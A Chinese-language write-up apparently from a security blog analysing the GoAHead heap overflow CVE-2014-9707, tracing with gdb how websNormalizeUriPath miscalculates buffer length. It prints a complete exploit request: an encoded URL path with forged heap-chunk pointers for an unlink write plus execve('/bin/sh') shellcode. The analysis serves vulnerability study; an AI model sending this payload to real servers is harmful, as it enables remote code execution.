从实战看unlink漏洞之CVE-2014-9707

0x01 写在前面


之前写了一篇从pwn me调试到linux攻防,当时做三个白帽的pwn题学到了很多东西,可以说对于我这个从没接触过linux下二进制安全的新手来说,有着不小的帮助,最近,在看雪看到了一篇关于CVE-2014-9707的简单分析,马上复现了一下漏洞,并且进行了详细的调试。

文章开头,要特别感谢一下z神@explorer和看雪fneig在漏洞分析和exp编写中对我的指导,也是因为在网上读到了很多关于linux下堆溢出和unlink漏洞利用相关的技术文章,但一直没有看到一篇堆溢出的实战文章,直到我接触了今天我们要说到的主角,CVE-2014-9707,此漏洞源于一款web server服务器GoAHead中的一处堆溢出漏洞。

0x02 CVE-2014-9707漏洞分析


这是一个非常有意思的堆溢出漏洞,Goahead是一个知名的Web Server服务器,在处理传入数据包时,对数据包分别进行了一些处理,在处理之后与之前的长度,没有进行有效的对称,从而导致将后续数据包考入之前申请的缓冲区时,如果后续数据包长度过大,会使之前的缓冲区发生溢出。

之前缓冲区是malloc申请而成,溢出后,可以通过覆盖某些关键指针和变量,来在堆释放时触发unlink,从而导致任意代码执行,下面对此漏洞进行详细分析。

首先运行Goahead,然后通过gdb attach pid附加进程,运行exp,发现程序中断,命中断点。

gdb-peda$ c
Continuing.

Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x545 
ECX: 0x545 
EDX: 0x6 
ESI: 0x45 ('E')
EDI: 0xb7eec000 --> 0x1a5da8 
EBP: 0xbffff178 --> 0x805cb28 --> 0x0 
ESP: 0xbfffeeb4 --> 0xbffff178 --> 0x805cb28 --> 0x0 
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>:    pop    ebp)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fdebdc <__kernel_vsyscall+12>:   nop
   0xb7fdebdd <__kernel_vsyscall+13>:   nop
   0xb7fdebde <__kernel_vsyscall+14>:   int    0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>:   pop    ebp
   0xb7fdebe1 <__kernel_vsyscall+17>:   pop    edx
   0xb7fdebe2 <__kernel_vsyscall+18>:   pop    ecx
   0xb7fdebe3 <__kernel_vsyscall+19>:   ret    
   0xb7fdebe4:  int3
[------------------------------------stack-------------------------------------]
0000| 0xbfffeeb4 --> 0xbffff178 --> 0x805cb28 --> 0x0 
0004| 0xbfffeeb8 --> 0x6 
0008| 0xbfffeebc --> 0x545 
0012| 0xbfffeec0 --> 0xb7d74307 (<__GI_raise+71>:   xchg   ebx,edi)
0016| 0xbfffeec4 --> 0xb7eec000 --> 0x1a5da8 
0020| 0xbfffeec8 --> 0xbfffef64 --> 0x77 ('w')
0024| 0xbfffeecc --> 0xb7d759c3 (<__GI_abort+323>:  mov    edx,DWORD PTR gs:0x8)
0028| 0xbfffeed0 --> 0x6 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT

通过bt命令可以回溯调用。

gdb-peda$ bt
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb7d74307 in __GI_raise (sig=sig@entry=0x6)
    at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb7d759c3 in __GI_abort () at abort.c:89
#3  0xb7db26f8 in __libc_message (do_abort=do_abort@entry=0x1, 
    fmt=fmt@entry=0xb7ea865c "*** Error in `%s': %s: 0x%s ***\n")
    at ../sysdeps/posix/libc_fatal.c:175
#4  0xb7db876a in malloc_printerr (action=<optimized out>, 
    str=0xb7ea4138 "corrupted double-linked list", ptr=0x805cb28)
    at malloc.c:4996
#5  0xb7db95fb in _int_free (av=0xb7eec420 <main_arena>, p=<optimized out>, 
    have_lock=0x0) at malloc.c:3996
#6  0xb7dbc0c3 in __GI___libc_free (mem=<optimized out>) at malloc.c:2946
#7  0xb7fb661d in websNormalizeUriPath (
    pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3238
#8  0xb7fb8ab3 in parseFirstLine (wp=<optimized out>) at src/http.c:957
#9  parseIncoming (wp=<optimized out>) at src/http.c:872
#10 websPump (wp=0x804f560) at src/http.c:826
#11 0xb7fb906d in readEvent (wp=0x804f560) at src/http.c:799
#12 socketEvent (sid=0x2, mask=0x2, wptr=0x804f560) at src/http.c:737
#13 0xb7fc6322 in socketDoEvent (sp=0x804f4b0) at src/socket.c:650
#14 socketProcess () at src/socket.c:624
#15 0xb7fb35b5 in websServiceEvents (finished=0x804ab44 <finished>)
    at src/http.c:1293
#16 0x08048c31 in main (argc=0x5, argv=0xbffff4b4, envp=0xbffff4cc)
    at src/goahead.c:146
#17 0xb7d5fa63 in __libc_start_main (main=0x8048a70 <main>, argc=0x5, 
    argv=0xbffff4b4, init=0x80491e0 <__libc_csu_init>, 
    fini=0x8049250 <__libc_csu_fini>, rtld_fini=0xb7fedc90 <_dl_fini>, 
    stack_end=0xbffff4ac) at libc-start.c:287
#18 0x08048f67 in _start ()

查看一下现在服务器上的情况。

/./mean to strcat cannot heap overflow
goahead: 2: GET /%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%04%03%02%01%04%03%02%01%38%78%05%08%38%78%05%08%eb%16%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%eb%19%5e%31%d2%89%56%07%52%56%89%e1%89%f3%31%c0%b0%0b%cd%80%31%db%31%c0%40%cd%80%e8%e2%ff%ff%ff%2f%62%69%6e%2f%73%68/./%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.0


*** Error in `goahead': free(): corrupted unsorted chunks: 0x080622c0 ***

可以看到,此时已经出发了corrupted unsorted chunks,这个是glibc在新版本后引入用于对抗unlink时指针欺骗的,但是不要紧,这个在利用中是可以绕过的,在分析时我们不关心。

但是由此可见,这时已经触发了unlink操作,接下来,根据bt回溯情况,来分析整个漏洞的成因。首先从main函数来跟踪一下调用情况,首先是在goahead.c中。

    while (!finished || !*finished) {
        if (socketSelect(-1, delay)) {
            socketProcess();  open a socket process
        }

首先在main函数中,会启用socketProcess,也就是启用Socket进程,接下来进入http.c中。

PUBLIC void socketProcess()
{
    WebsSocket    *sp;
    int         sid;

    for (sid = 0; sid < socketMax; sid++) {
        if ((sp = socketList[sid]) != NULL) {
            if (sp->currentEvents & sp->handlerMask) {
                socketDoEvent(sp);   if sid then do event
            }
        }
    }
}

在进程中,会调用一个socket事件,接着往里跟踪。

    if (sp->handler && (sp->handlerMask & sp->currentEvents)) {
        (sp->handler)(sid, sp->handlerMask & sp->currentEvents, sp->handler_data);
        /*
            Make sure socket pointer is still valid, then reset the currentEvents.
         */ 
        if (socketList && sid < socketMax && socketList[sid] == sp) {
            sp->currentEvents = 0;  create a socket handler
        }

这里会对sid进程句柄进行一些简单的判断,然后就会进入关键函数调用了。

static bool parseIncoming(Webs *wp)
{
    WebsBuf     *rxbuf;
    char        *end, c;

    rxbuf = &wp->rxbuf;
    while (*rxbuf->servp == '\r' || *rxbuf->servp == '\n') {
        bufGetc(rxbuf);
    }
    if ((end = strstr((char*) wp->rxbuf.servp, "\r\n\r\n")) == 0) {
        if (bufLen(&wp->rxbuf) >= BIT_GOAHEAD_LIMIT_HEADER) {
            websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Header too large");
            return 1;
        }
        return 0;
    }    
    trace(3 | WEBS_RAW_MSG, "\n<<< Request\n");
    c = *end;
    *end = '\0';
    trace(3 | WEBS_RAW_MSG, "%s\n", wp->rxbuf.servp);
    *end = c;

    /*
        Parse the first line of the Http header
     */
    parseFirstLine(wp);

在函数中,会调用parseFirstLine函数,这个函数有一个参数,是一个结构体Webs。

typedef struct Webs {
    WebsBuf         rxbuf;              /**< Raw receive buffer */
    WebsBuf         input;              /**< Receive buffer after de-chunking */
    WebsBuf         output;             /**< Transmit buffer after chunking */
    WebsBuf         chunkbuf;           /**< Pre-chunking data buffer */
    WebsBuf         *txbuf;
    WebsTime        since;              /**< Parsed if-modified-since time */
    WebsHash        vars;               /**< CGI standard variables */
    WebsTime        timestamp;          /**< Last transaction with browser */
    int             timeout;            /**< Timeout handle */
    char            ipaddr[64];         /**< Connecting ipaddress */
    char            ifaddr[64];         /**< Local interface ipaddress */

    int             rxChunkState;       /**< Rx chunk encoding state */
    ssize           rxChunkSize;        /**< Rx chunk size */
    char            *rxEndp;            /**< Pointer to end of raw data in input beyond endp */
    ssize           lastRead;           /**< Number of bytes last read from the socket */
    bool            eof;                /**< If at the end of the request content */

    char            txChunkPrefix[16];  /**< Transmit chunk prefix */
    char            *txChunkPrefixNext; /**< Current I/O pos in txChunkPrefix */
    ssize           txChunkPrefixLen;   /**< Length of prefix */
    ssize           txChunkLen;         /**< Length of the chunk */
    int             txChunkState;       /**< Transmit chunk state */

    //  MOB OPT - which of these should be allocated strings and which should be static

    char            *authDetails;       /**< Http header auth details */
    char            *authResponse;      /**< Outgoing auth header */
    char            *authType;          /**< Authorization type (Basic/DAA) */
    char            *contentType;       /**< Body content type */
    char            *cookie;            /**< Request cookie string */
    char            *decodedQuery;      /**< Decoded request query */
    char            *digest;            /**< Password digest */
    char            *ext;               /**< Path extension */
    char            *filename;          /**< Document path name */
    char            *host;              /**< Requested host */
    char            *inputFile;         /**< File name to write input body data */
    char            *method;            /**< HTTP request method */
    char            *password;          /**< Authorization password */
    char            *path;              /**< Path name without query. This is decoded. */
    char            *protoVersion;      /**< Protocol version (HTTP/1.1)*/
    char            *protocol;          /**< Protocol scheme (normally http|https) */
    char            *putname;           /**< PUT temporary filename */
    char            *query;             /**< Request query. This is decoded. */
    char            *realm;             /**< Realm field supplied in auth header */
    char            *referrer;          /**< The referring page */
    char            *responseCookie;    /**< Outgoing cookie */
    char            *url;               /**< Full request url. This is not decoded. */
    char            *userAgent;         /**< User agent (browser) */
    char            *username;          /**< Authorization username */

    int             sid;                /**< Socket id (handler) */
    int             listenSid;          /**< Listen Socket id */
    int             port;               /**< Request port number */
    int             state;              /**< Current state */
    int             flags;              /**< Current flags -- see above */
    int             code;               /**< Response status code */
    ssize           rxLen;              /**< Rx content length */
    ssize           rxRemaining;        /**< Remaining content to read from client */
    ssize           txLen;              /**< Tx content length header value */
    int             wid;                /**< Index into webs */
#if BIT_GOAHEAD_CGI
    char            *cgiStdin;          /**< Filename for CGI program input */
    int             cgifd;              /**< File handle for CGI program input */
#endif
#if !BIT_ROM
    int             putfd;              /**< File handle to write PUT data */
#endif
    int             docfd;              /**< File descriptor for document being served */
    ssize           written;            /**< Bytes actually transferred */
    ssize           putLen;             /**< Bytes read by a PUT request */

    struct WebsSession *session;        /**< Session record */
    struct WebsRoute *route;            /**< Request route */
    struct WebsUser *user;              /**< User auth record */
    WebsWriteProc   writeData;          /**< Handler write I/O event callback. Used by fileHandler */
    int             encoded;            /**< True if the password is MD5(username:realm:password) */
#if BIT_DIGEST
    char            *cnonce;            /**< check nonce */
    char            *digestUri;         /**< URI found in digest header */
    char            *nonce;             /**< opaque-to-client string sent by server */
    char            *nc;                /**< nonce count */
    char            *opaque;            /**< opaque value passed from server */
    char            *qop;               /**< quality operator */
#endif
#if BIT_GOAHEAD_UPLOAD
    int             upfd;               /**< Upload file handle */
    WebsHash        files;              /**< Uploaded files */
    char            *boundary;          /**< Mime boundary (static) */
    ssize           boundaryLen;        /**< Boundary length */
    int             uploadState;        /**< Current file upload state */
    WebsUpload      *currentFile;       /**< Current file context */
    char            *clientFilename;    /**< Current file filename */
    char            *uploadTmp;         /**< Current temp filename for upload data */
    char            *uploadVar;         /**< Current upload form variable name */
#endif
    void            *ssl;               /**< SSL context */
} Webs;

这个Webs结构体其实包含了整个Web Server服务端需要的变量,那么继续往里跟踪。

static void parseFirstLine(Webs *wp)
{
    char    *op, *protoVer, *url, *host, *query, *path, *port, *ext, *buf;
    int     testPort;

   ^^^^
    if (websGetLogLevel() == 2) {    host = path = port = query = ext = NULL;
    if (websUrlParse(url, &buf, NULL, &host, &port, &path, &ext, NULL, &query) < 0) {
        error("Cannot parse URL: %s", url);
        websError(wp, HTTP_CODE_BAD_REQUEST | WEBS_CLOSE | WEBS_NOLOG, "Bad URL");
        return;
    }
    if ((wp->path = websNormalizeUriPath(path)) == 0) {
        error("Cannot normalize URL: %s", url);
        websError(wp, HTTP_CODE_BAD_REQUEST | WEBS_CLOSE | WEBS_NOLOG, "Bad URL");
        wfree(buf);
        return;
    }

根据我们上面的回溯部分,可以看到函数中websNormalizeUriPath函数是漏洞触发的主要函数,它的参数path是数据包中我们构造的畸形字符串,而它又是从哪里来的呢?

注意一下上面的websUrlParse函数,中间会对path进行处理,下面动态调试。在websUrlParse下断点。

gdb-peda$ b websUrlParse
Breakpoint 1 at 0xb7fb5fd0: file src/http.c, line 3027.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xbffff2c0 --> 0xbffff320 --> 0x2 
EBX: 0xb7fd8480 --> 0x30328 
ECX: 0xb7eec420 --> 0x0 
EDX: 0x0 
ESI: 0x805ddd3 ("HTTP/1.0")
EDI: 0xb7fd94ec --> 0x2 
EBP: 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
ESP: 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>:    add    esp,0x30)
EIP: 0xb7fb5fd0 (<websUrlParse>:    push   ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fb5fcd:  nop
   0xb7fb5fce:  nop
   0xb7fb5fcf:  nop
=> 0xb7fb5fd0 <websUrlParse>:   push   ebp
   0xb7fb5fd1 <websUrlParse+1>: push   edi
   0xb7fb5fd2 <websUrlParse+2>: push   esi
   0xb7fb5fd3 <websUrlParse+3>: push   ebx
   0xb7fb5fd4 <websUrlParse+4>: call   0xb7fae4a0 <__x86.get_pc_thunk.bx>
[------------------------------------stack-------------------------------------]
0000| 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>:   add    esp,0x30)
0004| 0xbffff260 --> 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
0008| 0xbffff264 --> 0xbffff2c0 --> 0xbffff320 --> 0x2 
0012| 0xbffff268 --> 0x0 
0016| 0xbffff26c --> 0xbffff2ac --> 0x0 
0020| 0xbffff270 --> 0xbffff2b8 --> 0x0 
0024| 0xbffff274 --> 0xbffff2b4 --> 0x0 
0028| 0xbffff278 --> 0xbffff2bc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, websUrlParse (
    url=0x805d8ac "/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>..., pbuf=0xbffff2c0, pprotocol=0x0, phost=0xbffff2ac, 
    pport=0xbffff2b8, ppath=0xbffff2b4, pext=0xbffff2bc, preference=0x0, 
    pquery=0xbffff2b0) at src/http.c:3027
3027    {

gdb-peda$ x/10x 0xbffff2b4
0xbffff2b4: 0x00000000  0x00000000  0x00000000  0xbffff320
0xbffff2c4: 0xb7fecc9f  0xb7fdbb00  0x00000000  0x00000001
0xbffff2d4: 0x00000001  0x00000000

可以看到,此时url已经传入了畸形字符串,函数中,会对这个字符串进行各种处理,把它们处理后交给其他输出变量。

注意bffff2b4处的变量。接下来直接执行到函数返回的位置。

gdb-peda$ b *0xb7fb61be
Breakpoint 2 at 0xb7fb61be: file src/http.c, line 3162.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xb7fd8480 --> 0x30328 
ECX: 0xbffff2b0 --> 0xb7fc90f7 --> 0x74746800 ('')
EDX: 0x0 
ESI: 0x805ddd3 ("HTTP/1.0")
EDI: 0xb7fd94ec --> 0x2 
EBP: 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
ESP: 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>:    add    esp,0x30)
EIP: 0xb7fb61be (<websUrlParse+494>:    ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fb61bb <websUrlParse+491>:   pop    esi
   0xb7fb61bc <websUrlParse+492>:   pop    edi
   0xb7fb61bd <websUrlParse+493>:   pop    ebp
=> 0xb7fb61be <websUrlParse+494>:   ret    
   0xb7fb61bf <websUrlParse+495>:   nop
   0xb7fb61c0 <websUrlParse+496>:   lea    eax,[ebp+0x7]
   0xb7fb61c3 <websUrlParse+499>:   mov    BYTE PTR [ebp+0x4],0x0
   0xb7fb61c7 <websUrlParse+503>:   mov    edx,DWORD PTR [esp+0xc]
[------------------------------------stack-------------------------------------]
0000| 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>:   add    esp,0x30)
0004| 0xbffff260 --> 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
0008| 0xbffff264 --> 0xbffff2c0 --> 0x805bcc0 --> 0x805792f --> 0x0 
0012| 0xbffff268 --> 0x0 
0016| 0xbffff26c --> 0xbffff2ac --> 0xb7fc94e1 ("localhost")
0020| 0xbffff270 --> 0xbffff2b8 --> 0x805c70e --> 0x0 
0024| 0xbffff274 --> 0xbffff2b4 --> 0x805bcc0 --> 0x805792f --> 0x0 
0028| 0xbffff278 --> 0xbffff2bc --> 0x805c1e4 --> 0x782e ('.x')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0xb7fb61be in websUrlParse (
    url=0x805d8ac "/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>..., pbuf=0xbffff2c0, pprotocol=0x0, phost=0xbffff2ac, 
    pport=0xbffff2b8, ppath=0xbffff2b4, pext=0xbffff2bc, preference=0x0, 
    pquery=0xbffff2b0) at src/http.c:3162
3162    }
gdb-peda$ x/10x *0xbffff2b4
0x805bcc0:  0x0805792f  0x0805792f  0xbffff298  0x0805793f
0x805bcd0:  0x41414141  0x41414141  0x41414141  0x41414141
0x805bce0:  0x41414141  0x41414141

可以看到,此时已经覆盖上畸形变量了,bffff2b4存放的是path地址,接下来返回后,path会继续传入到漏洞函数中。

gdb-peda$ 


[-------------------------------------code-------------------------------------]
   0xb7fb8aa1 <websPump+4577>:  js     0xb7fb8cca <websPump+5130>
   0xb7fb8aa7 <websPump+4583>:  sub    esp,0xc
   0xb7fb8aaa <websPump+4586>:  push   DWORD PTR [esp+0x30]
=> 0xb7fb8aae <websPump+4590>:  call   0xb7fad160 <websNormalizeUriPath@plt>
   0xb7fb8ab3 <websPump+4595>:  mov    edi,DWORD PTR [esp+0xc0]
   0xb7fb8aba <websPump+4602>:  add    esp,0x10
   0xb7fb8abd <websPump+4605>:  test   eax,eax
   0xb7fb8abf <websPump+4607>:  mov    DWORD PTR [edi+0x16c],eax
Guessed arguments:
arg[0]: 0x805bcc0 --> 0x805792f --> 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xbffff280 --> 0x805bcc0 --> 0x805792f --> 0x0 
0004| 0xbffff284 --> 0xb7fdb948 --> 0xb7fa8000 --> 0x464c457f 
0008| 0xbffff288 --> 0xb7fc03c5 (<websGetLogLevel+5>:   add    ecx,0x180bb)
0012| 0xbffff28c --> 0xb7fb8a40 (<websPump+4480>:   cmp    eax,0x2)
0016| 0xbffff290 --> 0xbffff2f0 --> 0xb7faa608 --> 0x675f5f00 ('')
0020| 0xbffff294 --> 0xb7eec450 --> 0x80618a8 --> 0x0 
0024| 0xbffff298 --> 0x10 
0028| 0xbffff29c --> 0x2008 

gdb-peda$ x/10x 0x0805bcc0
0x805bcc0:  0x0805792f  0x0805792f  0xbffff298  0x0805793f
0x805bcd0:  0x41414141  0x41414141  0x41414141  0x41414141
0x805bce0:  0x41414141  0x41414141

接下来,进入到漏洞函数开始分析漏洞的成因。首先根据源码,找到了一处strcpy函数。

    if ((dupPath = walloc(len + 2)) == 0) {
        return NULL;
    }
    strcpy(dupPath, pathArg);

这里会将畸形字符串考入dupPath中。

gdb-peda$ x/10x 0x0805bcc0
0x805bcc0:  0x0805792f  0x0805792f  0xbffff298  0x0805793f
0x805bcd0:  0x41414141  0x41414141  0x41414141  0x41414141
0x805bce0:  0x41414141  0x41414141


[-------------------------------------code-------------------------------------]
   0xb7fb6445 <websRewriteRequest+229>: 
    jmp    0xb7fb6432 <websRewriteRequest+210>
   0xb7fb6447:  mov    esi,esi
   0xb7fb6449:  lea    edi,[edi+eiz*1+0x0]
=> 0xb7fb6450 <websNormalizeUriPath>:   push   ebp
   0xb7fb6451 <websNormalizeUriPath+1>: push   edi
   0xb7fb6452 <websNormalizeUriPath+2>: push   esi
   0xb7fb6453 <websNormalizeUriPath+3>: push   ebx
   0xb7fb6454 <websNormalizeUriPath+4>: 
    call   0xb7fae4a0 <__x86.get_pc_thunk.bx>
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 4, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3170
3170    {
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0:  0x0805792f  0x0805792f  0xbffff298  0x0805793f
0x805bcd0:  0x41414141  0x41414141  0x41414141  0x41414141
0x805bce0:  0x41414141  0x41414141
gdb-peda$ 

    strcpy(dupPath, pathArg);

[-------------------------------------code-------------------------------------]
   0xb7fb64a8 <websNormalizeUriPath+88>:    push   esi
   0xb7fb64a9 <websNormalizeUriPath+89>:    mov    esi,DWORD PTR [esp+0x20]
   0xb7fb64ad <websNormalizeUriPath+93>:    push   esi
=> 0xb7fb64ae <websNormalizeUriPath+94>:    call   0xb7fad8c0 <strcpy@plt>
   0xb7fb64b3 <websNormalizeUriPath+99>:    lea    eax,[edi*4+0x4]
   0xb7fb64ba <websNormalizeUriPath+106>:   mov    DWORD PTR [esp],eax
   0xb7fb64bd <websNormalizeUriPath+109>:   call   0xb7fad9b0 <malloc@plt>
   0xb7fb64c2 <websNormalizeUriPath+114>:   add    esp,0x10

gdb-peda$ x/10x $esp
0xbffff230: 0x0805c720  0x0805bcc0  0x00000000  0x0805c1e6
0xbffff240: 0x0805d8ac  0xb7faa388  0xb7fb5fd9  0xb7fd8480
0xbffff250: 0x0805ddd3  0x0805c720
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0:  0x0805792f  0x0805792f  0xbffff298  0x0805793f
0x805bcd0:  0x41414141  0x41414141  0x41414141  0x41414141
0x805bce0:  0x41414141  0x41414141

接下来会进入两处for循环,会对路径进行一些处理,比如将/./合并等等,在第二处for循环中,由于输入和输出长度变量没有对称,导致拷贝中可以构成一个超长字符串,下面动态来观察这一过程。

   for (mark = sp = dupPath; *sp; sp++) {
        if (*sp == '/') {
            *sp = '\0';
            while (sp[1] == '/') {
                sp++;
            }
            segments[nseg++] = mark;
            len += (int) (sp - mark);
            mark = sp + 1;
        }
    }
    segments[nseg++] = mark;
    len += (int) (sp - mark);
    for (j = i = 0; i < nseg; i++, j++) {
        sp = segments[i];
        if (sp[0] == '.') {
            if (sp[1] == '\0')  {
                if ((i+1) == nseg) {
                    segments[j] = "";
                } else {
                    j--;
                }
            } else if (sp[1] == '.' && sp[2] == '\0')  {
                if (i == 1 && *segments[0] == '\0') {
                    j = 0;
                } else if ((i+1) == nseg) {
                    if (--j >= 0) {
                        segments[j] = "";
                    }
                } else {
                    j = max(j - 2, -1);
                }
            }
        } else {
            segments[j] = segments[i];
        }
    }

上述代码就是我描述的过程,执行完处理后,看一下dp的长度。

Breakpoint 2, 0xb7fb65ac in websNormalizeUriPath (
    pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3227
3227        if ((path = walloc(len + nseg + 1)) != 0) {
gdb-peda$ x/10x $esp
0xbffff230: 0x0000040a  0x0805bcc0  0x00000000  0x0805c1e9
0xbffff240: 0x0805d8ac  0xb7faa388  0xb7fb5fd9  0x00000402
0xbffff250: 0x0805ddd6  0x0805c728

这里注意一下esp的值,返回中esp中存放的值是40a,也就是1034,就是缓冲区的长度,接下来到达一处非常关键的for循环。

    if ((path = walloc(len + nseg + 1)) != 0) {
        for (i = 0, dp = path; i < nseg; ) {
            strcpy(dp, segments[i]);
            len = (int) slen(segments[i]);
            dp += len;
            if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
                *dp++ = '/';
            }
        }
        *dp = '\0';
    }

这里会根据nseg执行strcpy操作,由于之前的问题,会导致拷贝超过dp本身的大小,也就是1034,来看一下到底拷贝了多少内容。

1:Breakpoint 5, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3232
3232                if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x0 

2:Breakpoint 5, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3232
3232                if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x3 

3:Breakpoint 5, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3232
3232                if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x132 

4:Breakpoint 5, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3232
3232                if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x3

6:Breakpoint 5, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3232
3232                if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2 

7:Breakpoint 5, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3232
3232                if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2c2 

8:Breakpoint 5, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3232
3232                if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2c2 

Breakpoint 7, 0xb7fb6618 in websNormalizeUriPath (
    pathArg=0x805bcc0 "/y\005\b/y\005\b\230\362\377\277?y\005\b", 'A' <repeats 184 times>...) at src/http.c:3238
3238        wfree(dupPath);

3+132+3+2+2c2+2c2 = 6be = 1726

可以看到,一共拷贝了8次,总共拷贝了1726,在整个拷贝过程中,eax监视的是拷贝的长度,算一下总和,已经超过了1034,那么由此就会造成堆溢出。

接下来执行,发生堆溢出,到达漏洞位置。


gdb-peda$ c
Continuing.

Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
